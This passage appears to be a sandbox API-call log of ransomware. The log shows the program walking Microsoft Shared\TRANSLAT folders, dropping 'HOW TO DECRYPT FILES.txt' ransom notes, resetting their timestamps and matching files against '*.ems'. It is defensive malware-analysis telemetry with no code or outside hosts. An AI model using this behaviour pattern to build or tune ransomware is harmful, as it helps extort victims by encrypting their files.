Files\\Microsoft Shared\\TRANSLAT\\ESEN\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\" [0059.598] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\") returned="" [0059.598] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\HOW TO DECRYPT FILES.txt" [0059.598] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\how to decrypt files.txt")) returned 0x20 [0059.598] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", lpString2="WT61ES.LEX" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" [0059.598] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", pszSpec="*.ems") returned 0 [0059.598] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0 [0059.598] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0059.599] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="FRAR", cAlternateFileName="")) returned 1 [0059.599] lstrcmpA (lpString1=".", lpString2="FRAR") returned -1 [0059.599] lstrcmpA (lpString1="..", lpString2="FRAR") returned -1 [0059.599] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*") returned="*.*" [0059.599] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", lpString2="FRAR" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR" [0059.599] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.600] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.600] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.600] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.600] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.600] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0059.600] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.600] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSB1FRAR.ITS") returned -1 [0059.600] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSB1FRAR.ITS") returned -1 [0059.600] lstrcmpiA (lpString1="", lpString2="MSB1FRAR.ITS") returned -1 [0059.600] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*.*") returned="*.*" [0059.600] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\" [0059.600] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\") returned="" [0059.601] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\HOW TO DECRYPT FILES.txt" [0059.601] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\how to decrypt files.txt")) returned 0xffffffff [0059.601] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0059.602] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.602] CloseHandle (hObject=0x90) returned 1 [0059.603] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", lpString2="MSB1FRAR.ITS" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" [0059.603] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", pszSpec="*.ems") returned 0 [0059.603] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 0 [0059.603] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0059.603] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="FREN", cAlternateFileName="")) returned 1 [0059.603] lstrcmpA (lpString1=".", lpString2="FREN") returned -1 [0059.603] lstrcmpA (lpString1="..", lpString2="FREN") returned -1 [0059.603] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*") returned="*.*" [0059.603] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", lpString2="FREN" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN" [0059.603] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8508, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.605] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.605] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.605] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.605] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.605] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0059.605] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.605] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSB1FREN.DLL") returned -1 [0059.605] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSB1FREN.DLL") returned -1 [0059.605] lstrcmpiA (lpString1="", lpString2="MSB1FREN.DLL") returned -1 [0059.605] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*") returned="*.*" [0059.605] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\" [0059.605] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\") returned="" [0059.605] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\HOW TO DECRYPT FILES.txt" [0059.605] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\how to decrypt files.txt")) returned 0xffffffff [0059.605] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0059.607] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.607] CloseHandle (hObject=0x90) returned 1 [0059.607] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", lpString2="MSB1FREN.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL" [0059.607] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL", pszSpec="*.ems") returned 0 [0059.607] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x4f8508, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1 [0059.607] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.607] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSB1FREN.ITS") returned -1 [0059.608] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSB1FREN.ITS") returned -1 [0059.608] lstrcmpiA (lpString1="", lpString2="MSB1FREN.ITS") returned -1 [0059.608] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL") returned="MSB1FREN.DLL" [0059.608] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\" [0059.608] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\") returned="" [0059.608] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\HOW TO DECRYPT FILES.txt" [0059.608] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\how to decrypt files.txt")) returned 0x20 [0059.608] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", lpString2="MSB1FREN.ITS" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" [0059.608] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", pszSpec="*.ems") returned 0 [0059.608] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1 [0059.608] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.608] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WT61FR.LEX") returned -1 [0059.608] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WT61FR.LEX") returned -1 [0059.608] lstrcmpiA (lpString1="", lpString2="WT61FR.LEX") returned -1 [0059.608] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS") returned="MSB1FREN.ITS" [0059.608] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\" [0059.608] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\") returned="" [0059.608] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\HOW TO DECRYPT FILES.txt" [0059.608] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\how to decrypt files.txt")) returned 0x20 [0059.609] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", lpString2="WT61FR.LEX" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" [0059.609] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", pszSpec="*.ems") returned 0 [0059.609] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0 [0059.609] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0059.609] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0059.609] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.609] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSB1AR.LEX") returned -1 [0059.609] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSB1AR.LEX") returned -1 [0059.609] lstrcmpiA (lpString1="", lpString2="MSB1AR.LEX") returned -1 [0059.609] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*") returned="*.*" [0059.609] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\" [0059.609] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\") returned="" [0059.609] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO DECRYPT FILES.txt" [0059.609] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\how to decrypt files.txt")) returned 0xffffffff [0059.609] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0059.611] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.611] CloseHandle (hObject=0x8c) returned 1 [0059.611] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", lpString2="MSB1AR.LEX" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" [0059.611] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", pszSpec="*.ems") returned 0 [0059.612] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x4f8430, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0059.612] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.612] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSB1CACH.LEX") returned -1 [0059.612] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSB1CACH.LEX") returned -1 [0059.612] lstrcmpiA (lpString1="", lpString2="MSB1CACH.LEX") returned -1 [0059.612] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX") returned="MSB1AR.LEX" [0059.612] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\" [0059.612] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\") returned="" [0059.612] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO DECRYPT FILES.txt" [0059.612] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\how to decrypt files.txt")) returned 0x20 [0059.612] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", lpString2="MSB1CACH.LEX" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" [0059.612] PathMatchSpecA 